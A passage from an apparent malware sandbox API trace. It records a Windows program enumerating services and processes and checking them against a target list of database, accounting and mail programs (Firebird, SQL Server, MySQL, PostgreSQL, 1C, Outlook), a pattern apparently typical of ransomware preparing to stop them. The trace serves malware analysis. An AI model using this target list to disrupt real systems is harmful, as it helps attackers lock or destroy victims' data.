lpString2="SENS") returned 1 [0041.690] lstrlenW (lpString="ShellHWDetection") returned 16 [0041.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0041.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0041.690] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0041.690] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0041.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0041.690] lstrlenW (lpString="Spooler") returned 7 [0041.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0041.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0041.691] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0041.691] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0041.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0041.691] lstrlenW (lpString="swprv") returned 5 [0041.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0041.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0041.691] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0041.691] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0041.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0041.691] lstrlenW (lpString="SysMain") returned 7 [0041.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0041.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0041.691] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0041.691] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0041.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0041.691] lstrlenW (lpString="Themes") returned 6 [0041.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0041.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0041.691] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0041.691] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0041.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0041.691] lstrlenW (lpString="TrkWks") returned 6 [0041.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0041.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0041.691] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0041.691] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0041.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0041.691] lstrlenW (lpString="UxSms") returned 5 [0041.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0041.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0041.691] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0041.692] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0041.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0041.692] lstrlenW (lpString="VSS") returned 3 [0041.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0041.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0041.692] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0041.692] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0041.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0041.692] lstrlenW (lpString="WdiServiceHost") returned 14 [0041.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0041.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0041.692] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0041.692] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0041.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0041.692] lstrlenW (lpString="WdiSystemHost") returned 13 [0041.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0041.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0041.692] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0041.692] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0041.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0041.692] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0041.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0041.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0041.692] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0041.692] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0041.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0041.692] lstrlenW (lpString="Winmgmt") returned 7 [0041.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0041.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0041.692] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0041.692] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0041.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0041.693] lstrlenW (lpString="WPDBusEnum") returned 10 [0041.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0041.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0041.693] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0041.693] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0041.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0041.693] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55e478 | out: hHeap=0x510000) returned 1 [0041.693] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f0 [0041.695] Process32FirstW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0041.696] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0041.696] lstrlenW (lpString="System") returned 6 [0041.696] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0041.697] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0041.697] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0041.697] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0041.697] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0041.697] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0041.697] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0041.697] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0041.697] lstrlenW (lpString="smss.exe") returned 8 [0041.697] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0041.697] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0041.697] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0041.697] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0041.697] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0041.697] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0041.697] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0041.697] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0041.698] lstrlenW (lpString="csrss.exe") returned 9 [0041.698] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0041.698] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0041.698] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0041.698] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0041.698] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0041.698] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0041.698] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0041.698] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0041.699] lstrlenW (lpString="wininit.exe") returned 11 [0041.699] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0041.699] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0041.699] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0041.699] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0041.700] lstrlenW (lpString="csrss.exe") returned 9 [0041.700] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0041.700] lstrlenW (lpString="winlogon.exe") returned 12 [0041.700] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0041.701] lstrlenW (lpString="services.exe") returned 12 [0041.701] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0041.701] lstrlenW (lpString="lsass.exe") returned 9 [0041.701] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0041.702] lstrlenW (lpString="lsm.exe") returned 7 [0041.702] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.702] lstrlenW (lpString="svchost.exe") returned 11 [0041.702] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.703] lstrlenW (lpString="svchost.exe") returned 11 [0041.703] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.704] lstrlenW (lpString="svchost.exe") returned 11 [0041.704] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.704] lstrlenW (lpString="svchost.exe") returned 11 [0041.704] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.705] lstrlenW (lpString="svchost.exe") returned 11 [0041.705] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0041.705] lstrlenW (lpString="audiodg.exe") returned 11 [0041.705] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.706] lstrlenW (lpString="svchost.exe") returned 11 [0041.706] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.706] lstrlenW (lpString="svchost.exe") returned 11 [0041.706] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0041.707] lstrlenW (lpString="dwm.exe") returned 7 [0041.707] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0041.707] lstrlenW (lpString="explorer.exe") returned 12 [0041.707] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0041.708] lstrlenW (lpString="spoolsv.exe") returned 11 [0041.708] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0041.709] lstrlenW (lpString="taskhost.exe") returned 12 [0041.709] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.709] lstrlenW (lpString="svchost.exe") returned 11 [0041.709] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0041.710] lstrlenW (lpString="taskeng.exe") returned 11 [0041.710] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0041.710] lstrlenW (lpString="taskhost.exe") returned 12 [0041.710] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dear.exe")) returned 1 [0041.711] lstrlenW (lpString="dear.exe") returned 8 [0041.711] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="b costa.exe")) returned 1 [0041.711] lstrlenW (lpString="b costa.exe") returned 11 [0041.711] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rc lock.exe")) returned 1 [0041.712] lstrlenW (lpString="rc lock.exe") returned 11 [0041.712] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="golden_bt_olive.exe")) returned 1 [0041.712] lstrlenW (lpString="golden_bt_olive.exe") returned 19 [0041.712] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hugown.exe")) returned 1 [0041.713] lstrlenW (lpString="hugown.exe") returned 10 [0041.713] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bless_gear_inquiry.exe")) returned 1 [0041.714] lstrlenW (lpString="bless_gear_inquiry.exe") returned 22 [0041.714] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ted_paragraph.exe")) returned 1 [0041.714] lstrlenW (lpString="ted_paragraph.exe") returned 17 [0041.714] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="locked welsh.exe")) returned 1 [0041.715] lstrlenW (lpString="locked welsh.exe") returned 16 [0041.715] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="votejoyceinstructors.exe")) returned 1 [0041.715] lstrlenW (lpString="votejoyceinstructors.exe") returned 24 [0041.715] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lebanon_executives.exe")) returned 1 [0041.716] lstrlenW (lpString="lebanon_executives.exe") returned 22 [0041.716] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="planners.exe")) returned 1 [0041.716] lstrlenW (lpString="planners.exe") returned 12 [0041.716] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="agreements.exe")) returned 1 [0041.717] lstrlenW (lpString="agreements.exe") returned 14 [0041.717] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tray.exe")) returned 1 [0041.717] lstrlenW (lpString="tray.exe") returned 8 [0041.717] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wp std.exe")) returned 1 [0041.718] lstrlenW (lpString="wp std.exe") returned 10 [0041.718] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lesser.exe")) returned 1 [0041.718] lstrlenW (lpString="lesser.exe") returned 10 [0041.719] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-tissue.exe")) returned 1 [0041.719] lstrlenW (lpString="right-tissue.exe") returned 16 [0041.719] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bunch.exe")) returned 1 [0041.720] lstrlenW (lpString="bunch.exe") returned 9 [0041.720] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jam.exe")) returned 1 [0041.720] lstrlenW (lpString="jam.exe") returned 7 [0041.720] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chooseincidence.exe")) returned 1 [0041.721] lstrlenW (lpString="chooseincidence.exe") returned 19 [0041.721] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="numericalrear.exe")) returned 1 [0041.721] lstrlenW (lpString="numericalrear.exe") returned 17 [0041.721] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uponpharmacologyintermediate.exe")) returned 1 [0041.722] lstrlenW (lpString="uponpharmacologyintermediate.exe") returned 32 [0041.722] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressed-plate-fbi.exe")) returned 1 [0041.722] lstrlenW (lpString="expressed-plate-fbi.exe") returned 23 [0041.722] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="come_wave.exe")) returned 1 [0041.723] lstrlenW (lpString="come_wave.exe") returned 13 [0041.723] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0041.723] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0041.724] Process32NextW (in: hSnapshot=0x1f0, lppe=0x223fd34 | out: 